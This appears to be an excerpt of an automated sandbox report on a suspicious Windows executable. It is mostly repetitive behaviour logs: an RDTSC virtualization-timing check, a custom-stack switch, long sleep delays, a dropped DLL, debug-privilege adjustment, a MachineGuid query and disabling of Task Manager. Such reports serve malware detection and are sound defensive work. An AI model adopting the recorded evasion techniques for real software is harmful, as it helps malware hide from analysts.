Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	API/Special instruction interceptor: Address: 479A97A
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	API/Special instruction interceptor: Address: 2BEA97A

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	RDTSC instruction interceptor: First address: 475E566 second address: 475E566 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC80CC5D048h 0x00000006 test ebx, edx 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	RDTSC instruction interceptor: First address: 2BAE566 second address: 2BAE566 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC80CB05D88h 0x00000006 test ebx, edx 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Memory allocated: 35760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Memory allocated: 35410000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596707	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596534	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596257	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594592	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594375	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Window / User API: threadDelayed 2265			Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Window / User API: threadDelayed 7582			Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

API coverage: 3.6 %

Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2968	Thread sleep count: 2265 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2968	Thread sleep count: 7582 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596707s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596534s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596257s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594592s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe TID: 2984	Thread sleep time: -594375s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00402868 FindFirstFileW,	3_2_00402868
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_0040672B FindFirstFileW,FindClose,	3_2_0040672B
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405AFA

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596707	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596534	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596257	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594592	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Thread delayed: delay time: 594375	Jump to behavior

Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.000000000526B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.000000000526B000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005200000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	API call chain: ExitProcess graph end node			graph_0-4589
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	API call chain: ExitProcess graph end node			graph_0-4746

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_00401E49 LdrInitializeThunk,ShowWindow,EnableWindow,

0_2_00401E49

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_70091B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70091B5F

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Process created: C:\Users\user\Desktop\rXKfKM0T49.exe "C:\Users\user\Desktop\rXKfKM0T49.exe"

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Users\user\Desktop\rXKfKM0T49.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

